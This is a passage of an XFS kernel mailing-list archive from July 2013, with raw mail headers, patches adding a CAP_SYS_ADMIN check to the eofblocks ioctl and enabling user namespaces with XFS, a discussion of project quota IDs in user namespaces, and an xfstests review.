oss.sgi.com (Postfix) with ESMTP id 8C9447F69 for ; Mon, 29 Jul 2013 22:07:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6DB08304071 for ; Mon, 29 Jul 2013 20:07:17 -0700 (PDT) X-ASG-Debug-ID: 1375153636-04bdf02f2220a720001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id N7AHIbO4G4cJKHkC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:07:16 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U37FB5029827 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 30 Jul 2013 03:07:15 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U37DV4028446 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 03:07:15 GMT Received: from abhmt111.oracle.com (abhmt111.oracle.com [141.146.116.63]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U37D9S028438 for ; Tue, 30 Jul 2013 03:07:13 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:07:13 -0700 Date: Mon, 29 Jul 2013 23:07:05 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl Message-ID: <20130729230705.128e4509@oracle.com> X-ASG-Orig-Subj: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1375153636 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Check for CAP_SYS_ADMIN since the caller can truncate preallocated blocks from files they do not own nor have write access to. A more fine grained access check was considered: require the caller to specify their own uid/gid and to use inode_permission to check for write, but this would not catch the case of an inode not reachable via path traversal from the callers mount namespace. Add check for read-only filesystem to free eofblocks ioctl. Signed-off-by: Dwight Engen --- fs/xfs/xfs_ioctl.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 6e72eff..b1990ac 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1613,6 +1613,12 @@ xfs_file_ioctl( struct xfs_fs_eofblocks eofb; struct xfs_eofblocks keofb; + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; + + if (IS_RDONLY(inode)) + return -XFS_ERROR(EROFS); + if (copy_from_user(&eofb, arg, sizeof(eofb))) return -XFS_ERROR(EFAULT); -- 1.8.1.4 From dwight.engen@oracle.com Mon Jul 29 22:07:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E1F807F6B for ; Mon, 29 Jul 2013 22:07:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C296A304067 for ; Mon, 29 Jul 2013 20:07:20 -0700 (PDT) X-ASG-Debug-ID: 1375153639-04bdf02f2120a730001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id VpDXmKKgzh2Akthq (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:07:19 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U37Jog011996 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 30 Jul 2013 03:07:19 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U37IZx015645 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 03:07:18 GMT Received: from abhmt112.oracle.com (abhmt112.oracle.com [141.146.116.64]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U37IE6017652 for ; Tue, 30 Jul 2013 03:07:18 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:07:17 -0700 Date: Mon, 29 Jul 2013 23:07:09 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v7 7/7] enable building user namespace with xfs Message-ID: <20130729230709.11033b2d@oracle.com> X-ASG-Orig-Subj: [PATCH v7 7/7] enable building user namespace with xfs Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1375153639 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines =46rom e6a9ee0cfa0ed40484f66bc1726dc19de36038b8 Mon Sep 17 00:00:00 2001 From: Dwight Engen Date: Tue, 2 Jul 2013 09:52:54 -0400 Subject: [PATCH 7/7] enable building user namespace with xfs Signed-off-by: Dwight Engen --- init/Kconfig | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/init/Kconfig b/init/Kconfig index 247084b..a7bcd87 100644 --- a/init/Kconfig +++ b/init/Kconfig @@ -1106,7 +1106,6 @@ config IPC_NS =20 config USER_NS bool "User namespace" - depends on UIDGID_CONVERTED select UIDGID_STRICT_TYPE_CHECKS =20 default n @@ -1140,20 +1139,8 @@ config NET_NS =20 endif # NAMESPACES =20 -config UIDGID_CONVERTED - # True if all of the selected software conmponents are known - # to have uid_t and gid_t converted to kuid_t and kgid_t - # where appropriate and are otherwise safe to use with - # the user namespace. - bool - default y - - # Filesystems - depends on XFS_FS =3D n - config UIDGID_STRICT_TYPE_CHECKS bool "Require conversions between uid/gids and their internal representat= ion" - depends on UIDGID_CONVERTED default n help While the nececessary conversions are being added to all subsystems this= option allows --=20 1.8.1.4 From gaofeng@cn.fujitsu.com Mon Jul 29 22:14:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 36CC17F4E for ; Mon, 29 Jul 2013 22:14:35 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 247A4304067 for ; Mon, 29 Jul 2013 20:14:35 -0700 (PDT) X-ASG-Debug-ID: 1375154072-04cbb02c3c202810001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id vn3ES9Jboro0tGCE for ; Mon, 29 Jul 2013 20:14:33 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,774,1367942400"; d="scan'208";a="8063805" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 30 Jul 2013 11:11:29 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6U3EQ30023160; Tue, 30 Jul 2013 11:14:26 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073011121552-239209 ; Tue, 30 Jul 2013 11:12:15 +0800 Message-ID: <51F72FE6.4080202@cn.fujitsu.com> Date: Tue, 30 Jul 2013 11:15:50 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner , dwight.engen@oracle.com CC: "Eric W. Biederman" , linux-fsdevel@vger.kernel.org, Linux Containers , linux-kernel@vger.kernel.org, "Serge E. Hallyn" , Ben Myers , Alex Elder , xfs@oss.sgi.com Subject: Re: [PATCH review 05/16] xfs: Update xfs_ioctl_setattr to handle projids in any user namespace References: <87txpaph4n.fsf@xmission.com> <1361149870-27732-1-git-send-email-ebiederm@xmission.com> <1361149870-27732-5-git-send-email-ebiederm@xmission.com> <20130219015550.GJ26694@dastard> <51F616F2.5040906@cn.fujitsu.com> <20130729075109.GF13468@dastard> X-ASG-Orig-Subj: Re: [PATCH review 05/16] xfs: Update xfs_ioctl_setattr to handle projids in any user namespace In-Reply-To: <20130729075109.GF13468@dastard> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/30 11:12:15, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/30 11:12:19, Serialize complete at 2013/07/30 11:12:19 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375154072 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/29/2013 03:51 PM, Dave Chinner wrote: > [ cc xfs list ] > > On Mon, Jul 29, 2013 at 03:17:06PM +0800, Gao feng wrote: >> On 02/19/2013 09:55 AM, Dave Chinner wrote: >>> On Sun, Feb 17, 2013 at 05:10:58PM -0800, Eric W. Biederman wrote: >>>> From: "Eric W. Biederman" >>>> >>>> - Convert the userspace value in fa->fsx_projid into a kprojid and >>>> store it in the variable projid. >>>> - Verify that xfs can store the projid after it is converted into >>>> xfs's user namespace. >>>> - Replace uses of fa->fsx_projid with projid throughout >>>> xfs_ioctl_setattr. >>>> >>>> Cc: Ben Myers >>>> Cc: Alex Elder >>>> Cc: Dave Chinner >>>> Signed-off-by: "Eric W. Biederman" >>>> --- >>>> fs/xfs/xfs_ioctl.c | 26 ++++++++++++++++++-------- >>>> 1 files changed, 18 insertions(+), 8 deletions(-) >>>> >>>> diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c >>>> index 016624b..4a55f50 100644 >>>> --- a/fs/xfs/xfs_ioctl.c >>>> +++ b/fs/xfs/xfs_ioctl.c >>>> @@ -925,6 +925,7 @@ xfs_ioctl_setattr( >>>> struct xfs_dquot *gdqp = NULL; >>>> struct xfs_dquot *olddquot = NULL; >>>> int code; >>>> + kprojid_t projid = INVALID_PROJID; >>>> >>>> trace_xfs_ioctl_setattr(ip); >>>> >>>> @@ -934,11 +935,20 @@ xfs_ioctl_setattr( >>>> return XFS_ERROR(EIO); >>>> >>>> /* >>>> - * Disallow 32bit project ids when projid32bit feature is not enabled. >>>> + * Verify the specifid project id is valid. >>>> */ >>>> - if ((mask & FSX_PROJID) && (fa->fsx_projid > (__uint16_t)-1) && >>>> - !xfs_sb_version_hasprojid32bit(&ip->i_mount->m_sb)) >>>> - return XFS_ERROR(EINVAL); >>>> + if (mask & FSX_PROJID) { >>>> + projid = make_kprojid(current_user_ns(), fa->fsx_projid); >>>> + if (!projid_valid(projid)) >>>> + return XFS_ERROR(EINVAL); >>>> + >>>> + /* >>>> + * Disallow 32bit project ids when projid32bit feature is not enabled. >>>> + */ >>>> + if ((from_kprojid(&init_user_ns, projid) > (__uint16_t)-1) && >>>> + !xfs_sb_version_hasprojid32bit(&ip->i_mount->m_sb)) >>>> + return XFS_ERROR(EINVAL); >>>> + } >>> >>> That looks busted. Why does one use current_user_ns() and the other >>> &init_user_ns()? >>> >> >> hmm, through this thread had been stopped discussing for a long time, but I'm working on converting >> ids to kids for xfs now, and I want to remove the finial dependenciy for user namespace. > > You're duplicating work that is already going on - we've been > talking about this stuff on the XFS list and reviewing patches for > the last 3-4 weeks for this. > oops.. thanks for your reminder! > http://oss.sgi.com/pipermail/xfs/2013-July/028467.html > > Basically, the discussion we are currently having is whether project > IDs should be exposed to user namespaces at all. e.g: > > http://oss.sgi.com/pipermail/xfs/2013-July/028497.html > http://oss.sgi.com/pipermail/xfs/2013-July/028551.html > > "Basically, until we have worked out *if* project quotas can be used > safely within user namespaces, we need to reject any attempt to use > them from within a user namespace container." > yes, seems this v6 patchset allows user in un-init user namespace to setup proj quota through ioctl, and the projid hasn't been converted to kprojid in this patchset. Doesn't this will cause user in container has the ability to change the proj quota which is set by root user in host? > i.e. the whole "project IDs are part of user namespaces because of > quotas" looks like a bad decision to have been made. Project IDs are > independent of users and groups and can be used to account for usage > across discontiguous directory and permission heirarchies, so trying > to contain them to a "user namespace" really matches their > functionality. I'm ok if we disallow un-init user namespace to setup proj quota right now, all user namespace will share the same proj quota and only init user namespace has the rights to modify proj quota. this looks clear to me. Thanks, Gao From jeff.liu@oracle.com Mon Jul 29 22:48:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 03ADA7F5E for ; Mon, 29 Jul 2013 22:48:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E36358F8035 for ; Mon, 29 Jul 2013 20:48:02 -0700 (PDT) X-ASG-Debug-ID: 1375156081-04cbb02c3a2043f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id ankfy1ktA3S6SYEu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:48:02 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U3lsp0007155 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 30 Jul 2013 03:47:56 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U3lnw0025111 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Jul 2013 03:47:50 GMT Received: from abhmt106.oracle.com (abhmt106.oracle.com [141.146.116.58]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U3lm9f025105; Tue, 30 Jul 2013 03:47:48 GMT Received: from [192.168.1.103] (/123.119.98.62) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:47:48 -0700 Message-ID: <51F7377A.9090707@oracle.com> Date: Tue, 30 Jul 2013 11:48:10 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Josef Bacik CC: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com, sandeen@redhat.com Subject: Re: [PATCH] xfstests: generic/315: allow a little tolerance for our used check References: <1375124156-17620-1-git-send-email-jbacik@fusionio.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: generic/315: allow a little tolerance for our used check In-Reply-To: <1375124156-17620-1-git-send-email-jbacik@fusionio.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1375156081 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 07/30/2013 02:55 AM, Josef Bacik wrote: > So df in btrfs is tricky at best, and relying on it for accurate information is > not great, but it's the best way to verify this test. To get around btrfs being > inconsistent sometimes just use _within_tolerance to check our new df value to > make sure that our truncate did something. With this patch I no longer see > transient failures of this test. Thanks, > > Signed-off-by: Josef Bacik > --- > tests/generic/315 | 3 ++- > 1 files changed, 2 insertions(+), 1 deletions(-) > > diff --git a/tests/generic/315 b/tests/generic/315 > index 7cfc40d..9c01b5e 100644 > --- a/tests/generic/315 > +++ b/tests/generic/315 > @@ -73,7 +73,8 @@ sync > > # Preallocated disk space should be released > avail_done=`df -P $TEST_DIR | awk 'END {print $4}'` > -[ "$avail_done" -eq "$avail_begin" ] || _fail "Available disk space ($avail_done KiB)" > +_within_tolerance "df" $avail_done $avail_begin 1% > +[ $? -eq 0 ] || _fail "Available disk space ($avail_done KiB) wanted ($avail_begin KiB)" Looks good to me. Reviewed-by: Jie Liu Thanks, -Jeff From david@fromorbit.com Mon Jul 29 22:57:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 227967F60 for ; Mon, 29 Jul 2013 22:57:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9C58AC004 for ; Mon, 29 Jul 2013 20:57:52 -0700 (PDT) X-ASG-Debug-ID: 1375156670-04cb6c153d202e40001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id TQelJDNLNEFMiCLz for ; Mon, 29 Jul 2013 20:57:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgMFAKg491F5LPxHgWdsb2JhbABbgzuCd7YyhTKBHhcOAQEWJiiCJAEBBTocIxAIAxgJJQ8FJQMhE4gPDbh+Fo0QgSKBNgeEBwOXXooiiQaBSyqBLQ Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 30 Jul 2013 13:27:49 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V414G-0007tA-6g; Tue, 30 Jul 2013 13:57:48 +1000 Date: Tue, 30 Jul 2013 13:57:48 +1000 From: Dave Chinner To: Gao feng Cc: dwight.engen@oracle.com, "Eric W. Biederman" , linux-fsdevel@vger.kernel.org, Linux Containers , linux-kernel@vger.kernel.org, "Serge E. Hallyn" , Ben Myers , Alex Elder , xfs@oss.sgi.com Subject: Re: [PATCH review 05/16] xfs: Update xfs_ioctl_setattr to handle projids in any user namespace Message-ID: <20130730035748.GJ21982@dastard> X-ASG-Orig-Subj: Re: [PATCH review 05/16] xfs: Update xfs_ioctl_setattr to handle projids in any user namespace References: <87txpaph4n.fsf@xmission.com> <1361149870-27732-1-git-send-email-ebiederm@xmission.com> <1361149870-27732-5-git-send-email-ebiederm@xmission.com> <20130219015550.GJ26694@dastard> <51F616F2.5040906@cn.fujitsu.com> <20130729075109.GF13468@dastard> <51F72FE6.4080202@cn.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F72FE6.4080202@cn.fujitsu.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1375156670 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137427 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 30, 2013 at 11:15:50AM +0800, Gao feng wrote: > On 07/29/2013 03:51 PM, Dave Chinner wrote: > > http://oss.sgi.com/pipermail/xfs/2013-July/028467.html > > > > Basically, the discussion we are currently having is whether project > > IDs should be exposed to user namespaces at all. e.g: > > > > http://oss.sgi.com/pipermail/xfs/2013-July/028497.html > > http://oss.sgi.com/pipermail/xfs/2013-July/028551.html > > > > "Basically, until we have worked out *if* project quotas can be used > > safely within user namespaces, we need to reject any attempt to use > > them from within a user namespace container." > > > > yes, seems this v6 patchset allows user in un-init user namespace to setup proj quota > through ioctl, and the projid hasn't been converted to kprojid in this patchset. > Doesn't this will cause user in container has the ability to change the proj quota > which is set by root user in host? Dwight just posted v7. can you discuss your concerns in reposnse to the relevant patch in that series, please? it's much easier for everyone if we keep the discussion int eh one thread ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From gaofeng@cn.fujitsu.com Mon Jul 29 23:03:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 950DA7CBF for ; Mon, 29 Jul 2013 23:03:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3197CAC002 for ; Mon, 29 Jul 2013 21:03:17 -0700 (PDT) X-ASG-Debug-ID: 1375156995-04bdf02f2320d5b0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id n5Qy6PfG81gaHFSe for ; Mon, 29 Jul 2013 21:03:16 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,775,1367942400"; d="scan'208";a="8064337" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 30 Jul 2013 12:00:14 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6U43DPA025802; Tue, 30 Jul 2013 12:03:14 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073012010329-240186 ; Tue, 30 Jul 2013 12:01:03 +0800 Message-ID: <51F73B56.1040401@cn.fujitsu.com> Date: Tue, 30 Jul 2013 12:04:38 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: dwight.engen@oracle.com, "Eric W. Biederman" , linux-fsdevel@vger.kernel.org, Linux Containers , linux-kernel@vger.kernel.org, "Serge E. Hallyn" , Ben Myers , Alex Elder , xfs@oss.sgi.com Subject: Re: [PATCH review 05/16] xfs: Update xfs_ioctl_setattr to handle projids in any user namespace References: <87txpaph4n.fsf@xmission.com> <1361149870-27732-1-git-send-email-ebiederm@xmission.com> <1361149870-27732-5-git-send-email-ebiederm@xmission.com> <20130219015550.GJ26694@dastard> <51F616F2.5040906@cn.fujitsu.com> <20130729075109.GF13468@dastard> <51F72FE6.4080202@cn.fujitsu.com> <20130730035748.GJ21982@dastard> X-ASG-Orig-Subj: Re: [PATCH review 05/16] xfs: Update xfs_ioctl_setattr to handle projids in any user namespace In-Reply-To: <20130730035748.GJ21982@dastard> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/30 12:01:03, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/30 12:01:04, Serialize complete at 2013/07/30 12:01:04 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375156995 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137427 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/30/2013 11:57 AM, Dave Chinner wrote: > On Tue, Jul 30, 2013 at 11:15:50AM +0800, Gao feng wrote: >> On 07/29/2013 03:51 PM, Dave Chinner wrote: >>> http://oss.sgi.com/pipermail/xfs/2013-July/028467.html >>> >>> Basically, the discussion we are currently having is whether project >>> IDs should be exposed to user namespaces at all. e.g: >>> >>> http://oss.sgi.com/pipermail/xfs/2013-July/028497.html >>> http://oss.sgi.com/pipermail/xfs/2013-July/028551.html >>> >>> "Basically, until we have worked out *if* project quotas can be used >>> safely within user namespaces, we need to reject any attempt to use >>> them from within a user namespace container." >>> >> >> yes, seems this v6 patchset allows user in un-init user namespace to setup proj quota >> through ioctl, and the projid hasn't been converted to kprojid in this patchset. >> Doesn't this will cause user in container has the ability to change the proj quota >> which is set by root user in host? > > Dwight just posted v7. can you discuss your concerns in reposnse to > the relevant patch in that series, please? it's much easier for > everyone if we keep the discussion int eh one thread ;) > sure, I am compiling v7 patchset now in order to confirm my misgiving :) Thanks From klevinkona@gmail.com Tue Jul 30 02:43:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 